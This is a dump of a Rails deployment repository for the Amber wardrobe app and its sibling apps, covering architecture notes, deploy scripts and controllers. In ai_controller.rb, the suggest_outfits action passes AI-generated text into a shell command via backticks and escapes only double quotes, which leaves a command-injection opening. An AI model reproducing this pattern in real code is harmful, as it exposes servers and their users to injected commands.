# Checksum: sha256sum pouncekeys_setup.zsh

rails/ARCHITECTURE_NOTES.md

# Rails App Architecture Notes

The Rails deploy folder should prefer tracked Rails source trees over one-shot generators.

Each production app folder should mirror Rails structure:

- app
- app/controllers
- app/models
- app/views
- app/javascript/controllers
- app/assets/stylesheets
- config
- config/routes.rb
- config/locales
- db
- db/migrate
- db/seeds.rb
- lib
- public
- storage
- test

Deploy wrappers should only sync, configure, migrate, seed, install service files, and wire relayd.

**Relayd pattern recommendation** (see `DEPLOY/openbsd/` for current templates):
- One table per app: `table <amber> { 127.0.0.1 }`
- SNI-based routing on :443 with `tls keypair` per domain.
- Health checks: `check http "/" code 200`
- Central `relayd.conf` managed from `DEPLOY/openbsd/etc/relayd.conf` or equivalent. Avoid per-app duplication.

## Core rule

A product folder is a Rails application folder first and a deployment folder second.

## App groups

Brgen is the Bergen local platform.

Amber is a reusable baseline Rails application and bundle source.

bsdports is close to production-ready and should be treated as a hardened reference app.

Hjerterom is its own product and should mirror Rails structure.

blognet is the publishing network product.

Foodielicious is the blognet food vertical and should clone the editorial/recipe affordances of Matprat-style sites while staying original in branding, copy, and implementation.

Marketplace should use Solidus Starter Frontend as its baseline and then adapt to local style, deploy, and moderation standards.

## Shared frontend direction

Brgen's `application.css` (X.com 3-col + MASTER cinema palette + NNG tokens) is the visual base. All apps should inherit its `:root` variables and align components to it over time. See `shared/WIRING_NOTES.md` → "Visual System & Component Inheritance".

Photo/multimodal upload is deliberately open to visitors on the public surface (see `shared/WIRING_NOTES.md` → "Photo / Multimodal Upload Inheritance"). This is a conscious KISS carve-out: anyone can attach images to chat, while the agent’s deeper filesystem tools stay locked behind the auth token.

Use Stimulus Components where possible.

Use stimulus-lightbox backed by lightGallery.js for gallery needs.

Keep the license key in credentials or environment, never in committed source.

All Rails apps should include live search.

Baseline pattern: live search with Rails and StimulusReflex, following the Colby.so pattern from `https://www.colby.so/posts/live-search-with-rails-and-stimulusreflex`.

Implementation rule:

- Use StimulusReflex where already present.
- Use Turbo/Stimulus-compatible live search where Reflex is not installed.
- Search must be progressive enhancement, not a hard dependency for basic navigation.
- Every search surface should support empty state, loading state, no-results state, and keyboard-friendly interaction.
- Search should emit analytics/search events for shared discovery and ranking.

Required live-search surfaces:

- Brgen root feed
- markedsplass listings
- spilleliste playlists
- tv videos and shows
- takeaway restaurants and menu items
- blognet posts and authors
- Foodielicious recipes and ingredients
- bsdports ports/packages
- Hjerterom content/resources
- Amber baseline examples

## Legacy scripts note

The `@*.sh` feature modules (now under `legacy/`) are reference patterns from earlier work (see `github_repos/rails-style-guide/`). The active model uses tracked app trees + thin deploy scripts. See `README.md` → "Legacy feature scripts" for details.

## Completion checklist

- Brgen folder mirrors Rails structure.
- Brgen verticals live inside the Brgen Rails app unless operational separation is required.
- Amber remains the bundle/bootstrap baseline.
- bsdports becomes the production-readiness reference.
- Hjerterom receives a Rails mirror layout and product architecture note.
- blognet receives a Rails mirror layout and Foodielicious vertical note.
- Marketplace restoration starts from Solidus Starter Frontend concepts and adapts them to local standards.
- Shared frontend standards document Stimulus Components and lightGallery integration.
- Every deployable app has README, domains/service notes, and restore status.
- Every Rails app has live search on its primary index and discovery surfaces.

rails/LIVE_SEARCH_STANDARD.md

# Rails Live Search Standard

All Rails apps should provide live search on primary discovery surfaces.

Baseline reference:

https://www.colby.so/posts/live-search-with-rails-and-stimulusreflex

## Principle

Live search is a shared platform affordance, not a one-off page feature.

It should work across:

- Brgen
- markedsplass
- spilleliste
- tv
- takeaway
- blognet
- Foodielicious
- bsdports
- Hjerterom
- Amber examples

## Implementation modes

Preferred where StimulusReflex exists:

- Stimulus controller captures input
- Reflex performs server-side search
- server morphs result frame
- pagination or infinite scroll remains compatible

Fallback where StimulusReflex is absent:

- Stimulus captures input
- Turbo Frame receives search results
- controller renders partial result list
- basic query URL still works without JavaScript

## Required UX states

Every live-search surface must include:

- initial state
- loading state
- empty-query state
- no-results state
- result count
- keyboard-friendly input
- progressive fallback URL

## Required backend behavior

Every live-search endpoint should:

- debounce client input
- sanitize query parameters
- enforce visibility/moderation filters
- scope by product or vertical
- emit search analytics events
- avoid leaking private content

## Shared event

SearchPerformed

Fields:

- actor
- query
- app
- vertical
- result_count
- latency_ms
- filters
- locality

## Required surfaces

Brgen:

- root feed
- posts
- people/profiles
- local discovery

markedsplass:

- listings
- categories
- sellers

spilleliste:

- playlists
- tracks
- collaborators

tv:

- videos
- shows
- channels

takeaway:

- restaurants
- menu items
- cuisines

blognet:

- posts
- authors
- concepts
- tags

Foodielicious:

- recipes
- ingredients
- guides
- collections

bsdports:

- ports
- packages
- maintainers
- categories

Hjerterom:

- resources
- pages
- local content

Amber:

- baseline example search
- reusable demo controller

## Shared partial naming

Use predictable names:

- app/views/shared/_search_form.html.erb
- app/views/shared/_search_results.html.erb
- app/views/shared/_search_empty.html.erb
- app/views/shared/_search_loading.html.erb

## Shared Stimulus naming

Use:

- search_controller.js
- live_search_controller.js

Avoid app-specific JavaScript names unless the behavior is truly app-specific.

## Restore guidance

Old generator search code may be used as reference only.

Do not restore StimulusReflex code blindly into apps that no longer use StimulusReflex.

Port the interaction pattern, not stale implementation details.

rails/PRODUCTION_READINESS.md

# Production Readiness

Status as of this audit: not fully production-ready until the checks below pass on the OpenBSD target.

Run the static gate before every deploy:

```sh
DEPLOY/rails/check_production_gate.rb

Shared blockers

  • Rotate Rails credentials for every app that previously had a tracked config/master.key: brgen, amber, bsdports, baibl, blognet, and hjerterom.
  • Run each app under Ruby 3.4 with its locked bundle installed; every Gemfile now declares ruby "~> 3.4".
  • TLS terminates at OpenBSD relayd. Rails production configs should keep config.assume_ssl = true and leave config.force_ssl disabled.
  • Run bin/rails db:prepare, bin/rails test, bin/brakeman, and bin/bundler-audit per app.
  • Deploy to the OpenBSD target and verify /up, TLS, host authorization, logs, database writes, background jobs, and service restart.

brgen

Closer to production than the subapps: routes and namespaced controllers are present, SSL and host authorization are configured, and the deploy script follows the tracked-tree model.

Remaining checks:

  • Verify on Ruby 3.4; local host Ruby 3.3.8 cannot run the Gemfile.
  • Rotate credentials.
  • Smoke test all subdomain surfaces: tv, dating, playlist, takeaway, and marketplace aliases.
  • Exercise marketplace cart/order, messaging, voting, reactions, and TV live-stream flows.

amber

Not production-ready yet.

Fixed in this pass:

  • Production proxy SSL trust, host authorization, and mailer host now target amber.brgen.no.

Remaining checks:

  • Install the Rails 8 bundle and run the app test/lint/security suite.
  • Rotate credentials.
  • Verify wardrobe upload, Active Storage variants, AI endpoints, declutter flows, and visitor/public access boundaries.

bsdports

Not production-ready yet.

Fixed in this pass:

  • Production proxy SSL trust, host authorization, mailer host, Solid Cache, and Solid Queue are configured for bsdports.org.

Remaining checks:

  • Install the Rails 8 bundle and run the app test/lint/security suite.
  • Rotate credentials.
  • Verify ports import/search, watch/unwatch, comments, Solid Queue, and /up behind relayd.

## `rails/README.md`
```markdown
# Rails deployment portfolio

`DEPLOY/rails` is the active production surface for pub4 Rails apps.

The generated Rails trees are deployment artifacts. The important source of truth is the tracked app tree plus its app-specific deploy script. Older one-shot Zsh generators in `study/` and `pub/__OLD_BACKUPS` are design lineage, not the current production contract.

## Active apps

| App | Script | Domain | Role |
|---|---|---|---|
| `brgen` | `brgen/brgen.sh` | `brgen.no` plus city/domain aliases | Hyperlocal social platform with marketplace, dating, playlist, tv, takeaway, maps, ai |
| `amber` | `amber/amber.sh` | `amber.brgen.no` | Fashion / wardrobe / recommendation app |
| `bsdports` | `bsdports/bsdports.sh` | `bsdports.org` | OpenBSD ports search/index app |
| `baibl` | `baibl/baibl.sh` | `baibl.no` | Bible / reading / content service |
| `blognet` | `blognet/blognet.sh` | app-specific | Blog/content network utility |
| `hjerterom` | `hjerterom/hjerterom.sh` | app-specific | Food donation / pickup lineage from old backups |
| `privcam` | `privcam/privcam.sh` | app-specific | Subscription/video platform lineage from old backups |

## Production contract

Each app deploy script should:

1. copy the tracked `app/` tree into `/home/<app>/app`
2. run Bundler in deployment mode
3. run `RAILS_ENV=production bin/rails db:create db:migrate`
4. seed only when `db/seeds.rb` exists
5. install or update rc.d service
6. register relayd backend
7. restart service
8. verify local `/up`
9. verify relayd route if the public hostname is configured
10. leave logs in `/var/log/<app>.log` or the app-specific rc.d target

## Hard requirements

- No production app should expose raw Rails/Falcon ports publicly.
- Public ingress goes through relayd/httpd/acme only.
- Secrets live outside Git in `/etc/<app>.env` or `/etc/rails/<app>.env`.
- App deploy scripts are idempotent.
- Database migrations must be safe to re-run.
- Background queue/cache services must be Solid Queue/Solid Cache or explicitly documented.
- Every app must have a `/up` health endpoint.
- Every app must have an rc.d restart smoke check.

## Legacy feature scripts (@*.sh)

The many `@*.sh` files (now under `legacy/`) are extracted patterns from earlier generator work (see also `github_repos/rails-style-guide/`). They are **not** the current production contract.

Current model (per ARCHITECTURE_NOTES.md):
- Prefer tracked, hand-maintained `app/` trees inside each product folder.
- Deploy scripts are thin (copy tree → bundle → migrate → rc.d + relayd).
- Heavy one-shot generators are legacy.

These scripts (now in `legacy/`) remain useful as reference material for common patterns (auth, social, frontend, Solid stack, etc.) when bootstrapping a new vertical or recovering an old one. Do not run them blindly against production trees.

## Backup-era lineage

`pub/__OLD_BACKUPS/MEGA_ALL_APPS.md` describes the original app family:

- `brgen`
- `amber`
- `privcam`
- `bsdports`
- `hjerterom`

That document used older assumptions: PostgreSQL, Redis, Devise, `devise-guests`, OmniAuth Vipps, StimulusReflex, PWA scaffolding, and generated-from-scratch app scripts.

pub4 intentionally converges this into a simpler production shape:

- tracked app source trees
- SQLite or external DB instead of mandatory PostgreSQL
- Solid Queue / Solid Cache instead of mandatory Redis
- OpenBSD rc.d services
- relayd SNI routing
- app-specific deploy scripts

## Production hardening checklist

For every app:

- [ ] `/up` responds locally
- [ ] rc.d service starts cleanly
- [ ] relayd backend is configured
- [ ] no raw app port is open in pf
- [ ] database migrations run cleanly
- [ ] credentials are not committed
- [ ] user identity does not leak email-derived names
- [ ] uniqueness constraints exist for join tables
- [ ] upload/content paths are bounded
- [ ] background jobs are observable
- [ ] service restart is verified after deploy

## Recommended CI & Smoke Standardization

All apps should include (see existing patterns in `brgen/app/.github/workflows/ci.yml`, `amber/app/.github`, etc.):

- Security scans: `brakeman`, `bundler-audit`, `importmap audit`
- Lint: RuboCop (with cache)
- Basic test run (if tests exist)
- Deploy script smoke (e.g. syntax check on the `*.sh`)
- Each app tree should expose a `bin/ci` entrypoint that runs RuboCop, Brakeman, bundler-audit, and Minitest from the app root.

See `test_check_ports.sh` and individual app test/deploy/ folders for smoke examples. Add a `ci.yml` to any app missing one using the brgen/amber pattern as baseline. This supports MASTER `/scan` and council reviews.

Repository-level checks should go through `bin/probe`. Use `bin/probe repo` for static production gates, `bin/probe rails` for per-app CI wrapper checks, and `bin/probe openbsd` on the target host for `rcctl` service state.

## Secrets & Environment Management (OpenBSD-friendly)

- Store secrets in `/etc/rails/<app>.env` (or `/etc/<app>.env`) on the target server.
- Source them in the rc.d service or falcon/puma command line (never commit to git).
- Use `SECRET_KEY_BASE` and app-specific keys (e.g. `OPENAI_API_KEY`, `VIPPS_*`).
- The thin deploy scripts should not embed secrets; they only set up the service to read the external env file.
- For local dev, use `config/credentials.yml.enc` or `.env` in the tracked tree (gitignored).
- Consistent pattern across brgen, amber, bsdports, etc. reduces operational surprises. See individual `*.sh` and the rc.d templates in `DEPLOY/openbsd/` for current examples.
- `DEPLOY/rails/env.sample` inventories the shared keys plus app-specific ones so operators can trim a deploy env file without hunting through code.

## Gem & Dependency Alignment

All apps should target a consistent baseline (Rails 8, Solid Queue/Cache, Active Storage, importmap + Hotwire). Use `SHARED_BUNDLE_CACHE` in deploy scripts where possible. Pin major gems in individual Gemfiles but align on the family-wide set from `brgen` as the reference. Run `bundle update` coordinated across apps when upgrading shared dependencies. This reduces divergence and eases MASTER scans for security/compatibility.

## Internationalization & Locale Strategy (starter)

The city family should converge on a shared locale approach:
- Use Rails i18n with `config/locales/` in each app + shared fallbacks where possible.
- Brgen as the reference for city-specific terms (Norwegian + English).
- Centralize common strings (errors, navigation, moderation) in `shared/` once the pattern stabilizes.
- Support locale via subdomain or param consistently across verticals.

See `amber/config/locales/` and `brgen/config/locales/` as current examples. This is early-stage — coordinate before heavy investment.

## Performance & Caching Baseline (starter)

Target consistent use of the Solid stack (Solid Cache + Solid Queue) across apps.
- Use `config/cache.yml` and `config/queue.yml` from the reference apps.
- Prefer low-level caching for expensive queries and fragment caching in views.
- Monitor with the existing pressure/observability in MASTER.
- N+1 prevention and query analysis should be part of the review checklist when adding features.

See `amber/config/` and `brgen/config/` for current setups. Align before scaling individual verticals.

## Directory map

```text
rails/
├─ @core.sh          bootstrap, gem management, db, security
├─ @assets.sh        Dart Sass, SCSS/CSS generation
├─ @server.sh        rc.d, relayd, Falcon, Thruster
├─ @frontend.sh      Stimulus, Pagy
├─ @views.sh         partials, auth views, registration, layout
├─ @social.sh        votes+comments, hashtags, direct messaging
├─ amber/
├─ baibl/
├─ blognet/
├─ brgen/
├─ bsdports/
├─ hjerterom/
└─ privcam/

## `rails/amber/ARCHITECTURE.md`
```markdown
# Amber architecture

Amber is a wardrobe intelligence graph built from four layers.

## 1. Identity and privacy

- `User`
- `Profile`
- `PrivacySetting`
- `IdentityVerification`
- `ConsentEvent`
- `CreatorProfile`

This layer owns user identity, public creator mode, wardrobe visibility, AI-analysis consent, and creator remix consent.

## 2. Wardrobe graph

- `Item`
- `Outfit`
- `OutfitItem`
- `PlannedOutfit`
- `WearLog`
- `StylePreference`

This layer owns garments, combinations, usage history, preferences, planning, and style evolution.

## 3. Intelligence and media

- `GarmentEmbedding`
- `Recommendation`
- `EmbedGarmentJob`
- `RecommendOutfitsJob`
- `SegmentGarmentImageJob`
- `RemoveBackgroundJob`

This layer owns embeddings, semantic matching, recommendation records, segmentation hooks, background-removal hooks, and safe AI fallbacks.

## 4. Sustainability, travel, and commerce

- `SustainabilityMetric`
- `PackingList`
- `PackingListItem`
- `AffiliateLink`
- `CalculateSustainabilityJob`

This layer owns cost-per-wear, resale estimates, repair estimates, packing, travel wardrobes, and affiliate commerce.

## Deploy conventions

Amber uses the common `DEPLOY/rails/@shared_functions.sh` helper and deploys the tracked app tree at `DEPLOY/rails/amber/app` into `/home/amber/app`.

The deploy wrapper uses a neutral shared bundle cache when available:

```text
/var/cache/pub4/bundle/ruby34

and falls back to normal Bundler resolution when no cache exists.

Vector direction

The current GarmentEmbedding#vector is JSON-backed so the app remains SQLite-compatible. When Amber moves to PostgreSQL/pgvector, replace the JSON vector column with a pgvector column and swap WardrobeAiService#embedding_for for a real embedding backend.


## `rails/amber/Gemfile`
```text
source "https://rubygems.org"
ruby "~> 3.4"

# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 8.1.2"
# The modern asset pipeline for Rails [https://github.com/rails/propshaft]
gem "propshaft"
# Use sqlite3 as the database for Active Record
gem "sqlite3", ">= 2.1"
# Use the Puma web server [https://github.com/puma/puma]
# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]
gem "importmap-rails"
# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]
gem "turbo-rails"
# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]
gem "stimulus-rails"
# Build JSON APIs with ease [https://github.com/rails/jbuilder]
gem "jbuilder"

# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
gem "bcrypt", "~> 3.1.7"

# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]

# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable
gem "solid_cache"
gem "solid_queue"
gem "solid_cable"

# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false

# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
gem "image_processing", "~> 1.2"

group :development, :test do
  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
  gem "debug", platforms: %i[ mri windows ], require: "debug/prelude"

  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)
  gem "bundler-audit", require: false

  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]
  gem "brakeman", require: false

  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
  gem "rubocop-rails-omakase", require: false
end

group :development do
  # Use console on exceptions pages [https://github.com/rails/web-console]
  gem "web-console"
end
gem "pagy", "~> 9.3"
gem "ruby-openai"
gem "ruby-vips"
gem "falcon"

rails/amber/README.md

# amber — wardrobe intelligence

Fashion meets graph reasoning. amber tracks what you own, generates outfits, and builds a durable style identity across time.

Most fashion platforms understand purchases. amber understands ownership, aesthetics, context, and identity — before you buy more.

## Features

- Wardrobe upload, segmentation, background removal
- Outfit generation (weather, season, event, aesthetics)
- Style evolution tracking (aesthetic phases, color trends, underused items)
- Fashion embeddings — garments, creators, brands in one vector space
- Visual similarity search, social feeds, affiliate commerce

## Stack

Rails 8 · SQLite/pgvector · Falcon · Hotwire · Active Storage · OpenBSD

## Deploy

```zsh
doas zsh DEPLOY/rails/amber/amber.sh

Current Integration Status (2026)

  • Visual system: Should inherit Brgen's cinema palette + X.com layout tokens (see DEPLOY/rails/shared/WIRING_NOTES.md → Visual System).
  • Activity Graph: Should emit to the shared city activity stream (see brgen/brgen_CORE.md and shared/WIRING_NOTES.md).
  • Photo / Multimodal: Photo creation is allowed for visitors on the public surface. Amber can use the shared photo upload patterns for wardrobe uploads.
  • Shared concerns: Reactable, Followable, LiveSearchable, etc. available via shared/.
  • Deploy: Uses thin script + tracked tree model (prefers this over heavy @*.sh generators).

See DEPLOY/rails/ARCHITECTURE_NOTES.md and WIRING_NOTES.md for family-wide guidance.

Roadmap

Creator wardrobes · sustainability (cost-per-wear, resale) · travel packing · virtual try-on · style agents


## `rails/amber/STIMULUS_ROLLOUT.md`
```markdown
# Amber Stimulus / Rails 8 rollout

Amber is the best first product to receive the shared frontend baseline because the app matrix already marks Item, Outfit, Item photos, broadcasts, and item/outfit views as done.

## Implement first

1. Copy `DEPLOY/rails/shared/frontend/stimulus_components.js` into the app frontend entrypoint.
2. Add Lightbox to item photo galleries.
3. Add Sortable to outfit item ordering.
4. Add Notification to wear/save/upload actions.
5. Add Timeago to item/outfit cards.
6. Add Clipboard to item/outfit share links.
7. Add Dropdown + Auto Submit to wardrobe filters: category, color, mood, occasion, life phase.
8. Add Content Loader to underused/never-worn item panels.

## Rails 8 work

- Move wardrobe image processing to Solid Queue.
- Use Active Storage variants for thumbnails.
- Cache wardrobe cards with Solid Cache.
- Broadcast outfit/item changes with Turbo Streams.
- Emit structured events:
  - `amber.item.viewed`
  - `amber.item.worn`
  - `amber.outfit.created`
  - `amber.photo.uploaded`

## Acceptance

- Items remain navigable without JavaScript.
- Lightbox is enhancement only.
- Outfit ordering persists server-side.
- Upload/wear actions produce visible notifications.
- Underused item panel has empty/loading/error states.

rails/amber/amber.sh

#!/usr/bin/env zsh
# amber.sh — deploys the tracked Amber Rails tree at app/.
set -euo pipefail

APP_NAME=amber
APP_DIR=/home/${APP_NAME}/app
APP_PORT=61352
APP_DOMAIN=amber.brgen.no
SCRIPT_DIR=${0:a:h}
SRC_DIR=${SCRIPT_DIR}
SHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}

. "${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh"

need_cmd ruby34 bundle doas

[[ -d $SRC_DIR ]] || { log_err "missing source tree: $SRC_DIR"; exit 1; }

log "${APP_NAME} — deploying tracked tree → ${APP_DIR}"

id "$APP_NAME" >/dev/null 2>&1 || doas useradd -m -L daemon -s /bin/ksh "$APP_NAME"
doas mkdir -p "$APP_DIR"

# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)
doas cp -R "${SCRIPT_DIR:h}/shared/bin/." "${APP_DIR}/bin/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/public/." "${APP_DIR}/public/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/config/." "${APP_DIR}/config/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/app/." "${APP_DIR}/app/" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/Rakefile" "${APP_DIR}/Rakefile" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/config.ru" "${APP_DIR}/config.ru" 2>/dev/null || true

# Per-app tracked tree last (specialized instances + custom overrides win)
doas cp -R "${SRC_DIR}/." "${APP_DIR}/"
doas chown -R "${APP_NAME}:${APP_NAME}" "$APP_DIR"

cd "$APP_DIR"

typeset bundle_home="/home/${APP_NAME}/.bundle"
doas mkdir -p "$bundle_home"

if [[ ! -d ${bundle_home}/gems ]]; then
  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then
    log "Bootstrapping gems from ${SHARED_BUNDLE_CACHE}"
    doas cp -R "${SHARED_BUNDLE_CACHE}/gems" "$bundle_home/"
    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] && doas cp -R "${SHARED_BUNDLE_CACHE}/cache" "$bundle_home/" || true
  elif [[ -d /home/amber/.bundle/gems && ${bundle_home} != /home/amber/.bundle ]]; then
    log "Bootstrapping gems from /home/amber/.bundle"
    doas cp -R /home/amber/.bundle/gems "$bundle_home/"
    [[ -d /home/amber/.bundle/cache ]] && doas cp -R /home/amber/.bundle/cache "$bundle_home/" || true
  else
    log_warn "No shared bundle cache found; bundle install will resolve gems normally"
  fi
  doas chown -R "${APP_NAME}:${APP_NAME}" "$bundle_home"
fi

doas mkdir -p "${APP_DIR}/.bundle"
print -- "---\nBUNDLE_PATH: \"${bundle_home}/gems\"" | doas tee "${APP_DIR}/.bundle/config" >/dev/null
doas chown -R "${APP_NAME}:${APP_NAME}" "${APP_DIR}/.bundle"

doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && bundle config set --local deployment true && bundle config set --local without 'development test' && RAILS_ENV=production bundle install"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:create db:migrate"
[[ -f ${APP_DIR}/db/seeds.rb ]] && doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:seed" || true

install_rcd "$APP_NAME" "$APP_DIR" "$APP_PORT" "$APP_NAME"
[[ -n $APP_DOMAIN ]] && relayd_add_relay "$APP_DOMAIN" "$APP_PORT"

doas rcctl restart "$APP_NAME" || doas rcctl start "$APP_NAME"
log_ok "$APP_NAME live on :$APP_PORT"

rails/amber/app/channels/application_cable/connection.rb

# frozen_string_literal: true

module ApplicationCable
  class Connection < ActionCable::Connection::Base
    identified_by :current_user

    def connect
      set_current_user || reject_unauthorized_connection
    end

    private
      def set_current_user
        if session = Session.find_by(id: cookies.signed[:session_id])
          self.current_user = session.user
        end
      end
  end
end

rails/amber/app/controllers/ai_controller.rb

# frozen_string_literal: true

class AiController < ApplicationController
  before_action :require_authentication

  def analyze_item
    item = Current.user.items.find(params[:id])
    result = WardrobeAiService.new(Current.user).analyze_joy(item)
    item.update!(spark_joy: result["sparks_joy"]) if result["sparks_joy"].in?([true, false])
    respond_to do |format|
      format.turbo_stream { render turbo_stream: turbo_stream.replace("item_#{item.id}_analysis", partial: "ai/analysis", locals: { result: result, item: item }) }
      format.json { render json: result }
    end
  end

  def tag_item
    item = Current.user.items.find(params[:id])
    result = WardrobeAiService.new(Current.user).enclothed_cognition_tag(item)
    item.update!(mood_effect: result["mood_effect"], life_phase: result["life_phase"])
    respond_to do |format|
      format.turbo_stream { render turbo_stream: turbo_stream.replace("item_#{item.id}_tags", partial: "ai/item_tags", locals: { item: item.reload, result: result }) }
      format.html { redirect_to item }
    end
  end

  def suggest_outfits
    @suggestions = WardrobeAiService.new(Current.user).suggest_outfits(
      occasion: params[:occasion], season: params[:season]
    )
    # PH03: auto /photograph the combo (styled) using MASTER photograph command, attach postpro'd image to Outfit
    # reuse DF02 suggest, DF06 postpro pattern (direct script), DF10 outfit create+items
    master_root = Rails.root.join("..", "..", "MASTER").to_s
    @suggestions.each do |s|
      next unless s.is_a?(Hash)
      combo = "professional fashion photography of outfit '#{s['name']}' with #{Array(s['items']).join(', ')}. #{s['description']}. model, kodak portra, cinematic"
      begin
        out = `cd #{master_root} && bundle exec ruby bin/cli "photograph #{combo.gsub('"', '\"')}" 2>&1`
        if out =~ /postpro.*(output\/[^\s]+_postpro)/
          pdir = File.join(master_root, $1)
          imgf = Dir.glob(File.join(pdir, "*.{jpg,jpeg,png}")).first
          if imgf && File.exist?(imgf)
            outfit = Current.user.outfits.create!(name: s["name"], description: s["description"].to_s)
            Array(s["items"]).each do |tit|
              key = tit.to_s.split("(").first.strip.downcase
              it = Current.user.items.where("lower(title) LIKE ?", "%#{key}%").first || Current.user.items.joy.active_wardrobe.first
              outfit.outfit_items.create!(item: it) if it
            end
            outfit.image.attach(io: File.open(imgf), filename: "visual.jpg")
            s["outfit_id"] = outfit.id
          end
        end
      rescue StandardError => e
        Rails.logger.warn("PH03 photograph for suggestion failed: #{e.message}")
      end
    end
  end

  def declutter_guide
    @candidates = WardrobeAiService.new(Current.user).declutter_candidates
  end

  def capsule
    @result = WardrobeAiService.new(Current.user).capsule_optimizer
  end

  def color_palette
    @result = WardrobeAiService.new(Current.user).color_palette_analysis
  end

  def search
    @query = params[:q].to_s.strip
    if @query.present?
      result = WardrobeAiService.new(Current.user).natural_language_search(@query)
      ids = Array(result["item_ids"])
      @items = Current.user.items.where(id: ids)
      @explanation = result["explanation"]
    else
      @items = Current.user.items.none
    end
  end

  def mood_board
    @description = params[:description].to_s.strip
    if @description.present?
      result = WardrobeAiService.new(Current.user).mood_board_match(@description)
      ids = Array(result["item_ids"])
      @items = Current.user.items.where(id: ids)
      @outfit_name = result["outfit_name"]
      @reasoning = result["description"]
    end
  end

  def occasion_map
    @coverage = Item::OCCASIONS.each_with_object({}) do |occ, h|
      h[occ] = Current.user.items.by_occasion(occ).to_a
    end
  end

  def style_profile
    if request.post? || params[:answers].present?
      answers = params[:answers] || {}
      result = WardrobeAiService.new(Current.user).infer_style_profile(answers)
      profile = Current.user.style_profile || Current.user.build_style_profile
      aesthetic = result["aesthetic"].presence || "minimal"
      profile.update!(style_preferences: aesthetic, body_type: answers[:body_type])
      redirect_to user_path(Current.user), notice: "Style profile set to #{aesthetic}"
    end
  end

  def packing_list
    if params[:duration].present?
      @duration = params[:duration].to_i
      @climate = params[:climate].to_s
      @result = WardrobeAiService.new(Current.user).suggest_packing_list(@duration, @climate)
      # auto create packing list demo
      if @result["outfits"]
        list = Current.user.packing_lists.create!(name: "#{@climate} #{ @duration }d trip", starts_on: Date.today, ends_on: Date.today + @duration)
        # would link items if matched
      end
    end
  end

  def generate_outfit
    suggestions = WardrobeAiService.new(Current.user).suggest_outfits(
      occasion: params[:occasion], season: params[:season]
    )
    suggestion = Array(suggestions).first
    return redirect_to(ai_suggest_outfits_path, alert: t("amber.outfits.no_vision", default: "No vision suggestion generated")) unless suggestion

    outfit = create_outfit_from_vision_suggestion(suggestion)
    redirect_to(outfit, notice: t("amber.outfits.vision_created", default: "Outfit created from MASTER vision"))
  end

  private

  def create_outfit_from_vision_suggestion(suggestion)
    name = suggestion["name"].presence || "Vision outfit"
    outfit = Current.user.outfits.create!(
      name: name,
      description: suggestion["description"].to_s,
      season: params[:season],
      occasion: params[:occasion],
    )
    titles = Array(suggestion["items"])
    titles.each_with_index do |title, index|
      key = title.to_s.split("(").first.strip.downcase
      item = Current.user.items.where("lower(title) LIKE ?", "%#{key}%").first
      item ||= Current.user.items.joy.active_wardrobe.first
      outfit.outfit_items.create!(item: item, position: index) if item
    end
    outfit
  end
end

rails/amber/app/controllers/application_controller.rb

# frozen_string_literal: true

class ApplicationController < ActionController::Base
  include Authentication
  include Pagy::Backend
  allow_browser versions: :modern
end

rails/amber/app/controllers/concerns/authentication.rb

# frozen_string_literal: true

module Authentication
  extend ActiveSupport::Concern

  included do
    before_action :require_authentication
    helper_method :authenticated?
  end

  class_methods do
    def allow_unauthenticated_access(**options)
      skip_before_action :require_authentication, **options
    end
  end

  private
    def authenticated?
      resume_session
    end

    def require_authentication
      resume_session || request_authentication
    end

    def resume_session
      Current.session ||= find_session_by_cookie
    end

    def find_session_by_cookie
      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]
    end

    def request_authentication
      session[:return_to_after_authenticating] = request.url
      redirect_to new_session_path
    end

    def after_authentication_url
      session.delete(:return_to_after_authenticating) || root_url
    end

    def start_new_session_for(user)
      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|
        Current.session = session
        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }
      end
    end

    def terminate_session
      Current.session.destroy
      cookies.delete(:session_id)
    end
end

rails/amber/app/controllers/declutter_controller.rb

# frozen_string_literal: true

class DeclutterController < ApplicationController
  before_action :require_authentication
  before_action :set_item, only: %i[review update_review move challenge complete_challenge outcome last_chance]

  def index
    @summary = DeclutterDashboardService.new(Current.user).summary
    @duplicates = DuplicateDetectorService.new(Current.user).ranked_groups
  end

  def review
    @review = @item.declutter_review || @item.build_declutter_review(user: Current.user)
    @score = @item.declutter_score
    @action = DeclutterActionRouter.new(@item).action
    @last_chance = LastChanceOutfitService.new(@item).suggestions
  end

  def update_review
    review = @item.declutter_review || @item.build_declutter_review(user: Current.user)
    review.update!(review_params)
    redirect_to review_declutter_path(@item), notice: "Declutter review saved"
  end

  def move
    action = params[:target].presence || DeclutterActionRouter.new(@item).action[:recommendation]
    state = lifecycle_state_for(action)
    @item.update!(lifecycle_state: state)
